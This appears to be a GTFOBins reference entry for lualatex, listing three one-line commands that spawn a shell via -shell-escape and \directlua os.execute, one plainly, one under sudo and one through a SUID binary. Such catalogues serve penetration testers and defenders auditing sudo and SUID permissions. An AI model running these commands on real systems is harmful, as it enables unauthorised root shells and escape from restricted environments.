GTFOBins.github.io/_gtfobins/lualatex.md
2021-04-26 16:07:59 +02:00

497 B

description functions
This allows to execute [`lua`](/gtfobins/lua/) code.
shell sudo limited-suid
code
lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
code
sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
code
./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'